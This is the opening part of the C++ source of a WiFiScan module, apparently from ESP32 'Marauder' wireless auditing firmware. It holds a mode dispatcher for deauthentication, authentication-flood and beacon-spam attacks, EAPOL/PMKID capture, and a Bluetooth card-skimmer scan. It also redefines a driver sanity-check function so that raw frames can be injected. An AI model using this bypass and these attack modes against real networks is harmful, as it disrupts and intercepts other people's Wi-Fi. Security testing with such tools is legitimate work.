WiFiScan.cpp 102 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  238. RunEapolScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_AP)
  240. RunBeaconScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  242. RunAPScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  244. RunAPScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_PWN)
  246. RunPwnScan(scan_mode, color);
  247. else if (scan_mode == WIFI_SCAN_DEAUTH)
  248. RunDeauthScan(scan_mode, color);
  249. else if (scan_mode == WIFI_PACKET_MONITOR) {
  250. #ifdef HAS_SCREEN
  251. RunPacketMonitor(scan_mode, color);
  252. #endif
  253. }
  254. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  255. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  256. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  258. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  259. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  260. else if (scan_mode == WIFI_ATTACK_AUTH)
  261. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  262. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  263. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  264. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  265. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  266. else if (scan_mode == BT_SCAN_ALL) {
  267. #ifdef HAS_BT
  268. RunBluetoothScan(scan_mode, color);
  269. #endif
  270. }
  271. else if (scan_mode == BT_SCAN_SKIMMERS) {
  272. #ifdef HAS_BT
  273. RunBluetoothScan(scan_mode, color);
  274. #endif
  275. }
  276. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  277. RunEspressifScan(scan_mode, color);
  278. else if (scan_mode == LV_JOIN_WIFI) {
  279. #ifdef HAS_SCREEN
  280. RunLvJoinWiFi(scan_mode, color);
  281. #endif
  282. }
  283. else if (scan_mode == LV_ADD_SSID) {
  284. #ifdef HAS_SCREEN
  285. RunLvJoinWiFi(scan_mode, color);
  286. #endif
  287. }
  288. WiFiScan::currentScanMode = scan_mode;
  289. }
  290. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  291. // Common wifi attack configurations
  292. #ifdef HAS_SCREEN
  293. display_obj.TOP_FIXED_AREA_2 = 48;
  294. display_obj.tteBar = true;
  295. display_obj.print_delay_1 = 15;
  296. display_obj.print_delay_2 = 10;
  297. display_obj.initScrollValues(true);
  298. display_obj.tft.setTextWrap(false);
  299. display_obj.tft.setTextColor(TFT_BLACK, color);
  300. display_obj.tft.fillRect(0,16,240,16, color);
  301. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  302. display_obj.touchToExit();
  303. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  304. #endif
  305. packets_sent = 0;
  306. WiFi.mode(WIFI_AP_STA);
  307. //esp_wifi_init(&cfg);
  308. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  309. //esp_wifi_set_mode(WIFI_AP_STA);
  310. //esp_wifi_start();
  311. //esp_wifi_set_promiscuous_filter(NULL);
  312. esp_wifi_set_promiscuous(true);
  313. esp_wifi_set_max_tx_power(82);
  314. this->wifi_initialized = true;
  315. #ifdef MARAUDER_FLIPPER
  316. flipper_led.attackLED();
  317. #endif
  318. initTime = millis();
  319. }
  320. bool WiFiScan::shutdownWiFi() {
  321. if (this->wifi_initialized) {
  322. esp_wifi_set_promiscuous(false);
  323. WiFi.disconnect();
  324. WiFi.mode(WIFI_OFF);
  325. esp_wifi_set_mode(WIFI_MODE_NULL);
  326. esp_wifi_stop();
  327. esp_wifi_deinit();
  328. #ifdef MARAUDER_FLIPPER
  329. flipper_led.offLED();
  330. #endif
  331. this->wifi_initialized = false;
  332. return true;
  333. }
  334. else {
  335. return false;
  336. }
  337. }
  338. bool WiFiScan::shutdownBLE() {
  339. #ifdef HAS_BT
  340. if (this->ble_initialized) {
  341. pBLEScan->stop();
  342. pBLEScan->clearResults();
  343. BLEDevice::deinit();
  344. #ifdef MARAUDER_FLIPPER
  345. flipper_led.offLED();
  346. #endif
  347. this->ble_initialized = false;
  348. return true;
  349. }
  350. else {
  351. return false;
  352. }
  353. #endif
  354. return true;
  355. }
  356. // Function to stop all wifi scans
  357. void WiFiScan::StopScan(uint8_t scan_mode)
  358. {
  359. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  360. (currentScanMode == WIFI_SCAN_AP) ||
  361. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  362. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  363. (currentScanMode == WIFI_SCAN_PWN) ||
  364. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  365. (currentScanMode == WIFI_SCAN_EAPOL) ||
  366. (currentScanMode == WIFI_SCAN_ALL) ||
  367. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  368. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  369. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  370. (currentScanMode == WIFI_ATTACK_AUTH) ||
  371. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  372. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  373. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  374. (currentScanMode == WIFI_PACKET_MONITOR) ||
  375. (currentScanMode == LV_JOIN_WIFI))
  376. {
  377. this->shutdownWiFi();
  378. }
  379. else if ((currentScanMode == BT_SCAN_ALL) ||
  380. (currentScanMode == BT_SCAN_SKIMMERS))
  381. {
  382. #ifdef HAS_BT
  383. this->shutdownBLE();
  384. #endif
  385. }
  386. #ifdef HAS_SCREEN
  387. display_obj.display_buffer->clear();
  388. #ifdef SCREEN_BUFFER
  389. display_obj.screen_buffer->clear();
  390. #endif
  391. //Serial.print("display_buffer->size(): ");
  392. Serial.println(display_obj.display_buffer->size());
  393. display_obj.tteBar = false;
  394. #endif
  395. }
  396. String WiFiScan::getStaMAC()
  397. {
  398. char *buf;
  399. uint8_t mac[6];
  400. char macAddrChr[18] = {0};
  401. esp_wifi_init(&cfg);
  402. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  403. esp_wifi_set_mode(WIFI_MODE_NULL);
  404. esp_wifi_start();
  405. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  406. this->wifi_initialized = true;
  407. sprintf(macAddrChr,
  408. "%02X:%02X:%02X:%02X:%02X:%02X",
  409. mac[0],
  410. mac[1],
  411. mac[2],
  412. mac[3],
  413. mac[4],
  414. mac[5]);
  415. this->shutdownWiFi();
  416. return String(macAddrChr);
  417. }
  418. String WiFiScan::getApMAC()
  419. {
  420. char *buf;
  421. uint8_t mac[6];
  422. char macAddrChr[18] = {0};
  423. esp_wifi_init(&cfg);
  424. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  425. esp_wifi_set_mode(WIFI_MODE_NULL);
  426. esp_wifi_start();
  427. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  428. this->wifi_initialized = true;
  429. sprintf(macAddrChr,
  430. "%02X:%02X:%02X:%02X:%02X:%02X",
  431. mac[0],
  432. mac[1],
  433. mac[2],
  434. mac[3],
  435. mac[4],
  436. mac[5]);
  437. this->shutdownWiFi();
  438. return String(macAddrChr);
  439. }
  440. String WiFiScan::freeRAM()
  441. {
  442. char s[150];
  443. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  444. this->free_ram = String(esp_get_free_heap_size());
  445. return String(s);
  446. }
  447. // Function to start running a beacon scan
  448. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  449. {
  450. sd_obj.openCapture("ap");
  451. #ifdef MARAUDER_FLIPPER
  452. flipper_led.sniffLED();
  453. #endif
  454. Serial.println(text_table4[9] + (String)access_points->size());
  455. #ifdef HAS_SCREEN
  456. display_obj.TOP_FIXED_AREA_2 = 48;
  457. display_obj.tteBar = true;
  458. display_obj.print_delay_1 = 15;
  459. display_obj.print_delay_2 = 10;
  460. display_obj.initScrollValues(true);
  461. display_obj.tft.setTextWrap(false);
  462. display_obj.tft.setTextColor(TFT_WHITE, color);
  463. #ifndef MARAUDER_MINI
  464. display_obj.tft.fillRect(0,16,240,16, color);
  465. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  466. display_obj.touchToExit();
  467. #endif
  468. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  469. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  470. #endif
  471. esp_wifi_init(&cfg);
  472. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  473. esp_wifi_set_mode(WIFI_MODE_NULL);
  474. esp_wifi_start();
  475. esp_wifi_set_promiscuous(true);
  476. esp_wifi_set_promiscuous_filter(&filt);
  477. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  478. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  479. //else
  480. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  481. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  482. this->wifi_initialized = true;
  483. initTime = millis();
  484. }
  485. #ifdef HAS_SCREEN
  486. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  487. display_obj.tft.init();
  488. display_obj.tft.setRotation(1);
  489. #ifdef TFT_SHIELD
  490. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  491. Serial.println("Using TFT Shield");
  492. #else if defined(TFT_DIY)
  493. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  494. Serial.println("Using TFT DIY");
  495. #endif
  496. display_obj.tft.setTouch(calData);
  497. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  498. lv_disp_load_scr(scr);
  499. }
  500. #endif
  501. void WiFiScan::RunClearAPs() {
  502. #ifdef HAS_SCREEN
  503. display_obj.tft.setTextWrap(false);
  504. display_obj.tft.setFreeFont(NULL);
  505. display_obj.tft.setCursor(0, 100);
  506. display_obj.tft.setTextSize(1);
  507. display_obj.tft.setTextColor(TFT_CYAN);
  508. display_obj.tft.println(F(text_table4[9]));
  509. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  510. #else
  511. this->clearAPs();
  512. #endif
  513. }
  514. void WiFiScan::RunClearSSIDs() {
  515. #ifdef HAS_SCREEN
  516. display_obj.tft.setTextWrap(false);
  517. display_obj.tft.setFreeFont(NULL);
  518. display_obj.tft.setCursor(0, 100);
  519. display_obj.tft.setTextSize(1);
  520. display_obj.tft.setTextColor(TFT_CYAN);
  521. display_obj.tft.println(F(text_table4[11]));
  522. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  523. #else
  524. this->clearSSIDs();
  525. #endif
  526. }
  527. void WiFiScan::RunGenerateSSIDs(int count) {
  528. #ifdef HAS_SCREEN
  529. display_obj.tft.setTextWrap(false);
  530. display_obj.tft.setFreeFont(NULL);
  531. display_obj.tft.setCursor(0, 100);
  532. display_obj.tft.setTextSize(1);
  533. display_obj.tft.setTextColor(TFT_CYAN);
  534. display_obj.tft.println(F(text_table4[13]));
  535. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  536. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  537. #else
  538. this->generateSSIDs(count);
  539. #endif
  540. }
  541. void WiFiScan::RunShutdownWiFi() {
  542. #ifdef HAS_SCREEN
  543. display_obj.tft.setTextWrap(false);
  544. display_obj.tft.setFreeFont(NULL);
  545. display_obj.tft.setCursor(0, 100);
  546. display_obj.tft.setTextSize(1);
  547. display_obj.tft.setTextColor(TFT_CYAN);
  548. display_obj.tft.print(F(text_table4[16]));
  549. #endif
  550. if (this->wifi_initialized) {
  551. this->shutdownWiFi();
  552. #ifdef HAS_SCREEN
  553. display_obj.tft.setTextColor(TFT_GREEN);
  554. display_obj.tft.println(F("OK"));
  555. #endif
  556. }
  557. else {
  558. #ifdef HAS_SCREEN
  559. display_obj.tft.setTextColor(TFT_RED);
  560. display_obj.tft.println(F(text17));
  561. display_obj.tft.println(F(text_table4[17]));
  562. #endif
  563. }
  564. }
  565. void WiFiScan::RunShutdownBLE() {
  566. #ifdef HAS_SCREEN
  567. display_obj.tft.setTextWrap(false);
  568. display_obj.tft.setFreeFont(NULL);
  569. display_obj.tft.setCursor(0, 100);
  570. display_obj.tft.setTextSize(1);
  571. display_obj.tft.setTextColor(TFT_CYAN);
  572. display_obj.tft.print(F(text_table4[18]));
  573. #endif
  574. if (this->ble_initialized) {
  575. this->shutdownBLE();
  576. #ifdef HAS_SCREEN
  577. display_obj.tft.setTextColor(TFT_GREEN);
  578. display_obj.tft.println(F("OK"));
  579. #endif
  580. }
  581. else {
  582. #ifdef HAS_SCREEN
  583. display_obj.tft.setTextColor(TFT_RED);
  584. display_obj.tft.println(F(text17));
  585. display_obj.tft.println(F(text_table4[19]));
  586. #endif
  587. }
  588. }
  589. void WiFiScan::RunInfo()
  590. {
  591. String sta_mac = this->getStaMAC();
  592. String ap_mac = this->getApMAC();
  593. String free_ram = this->freeRAM();
  594. //Serial.print("STA MAC: ");
  595. //Serial.println(sta_mac);
  596. //Serial.print("AP MAC: ");
  597. //Serial.println(ap_mac);
  598. Serial.println(free_ram);
  599. #ifdef HAS_SCREEN
  600. display_obj.tft.setTextWrap(false);
  601. display_obj.tft.setFreeFont(NULL);
  602. display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
  603. display_obj.tft.setTextSize(1);
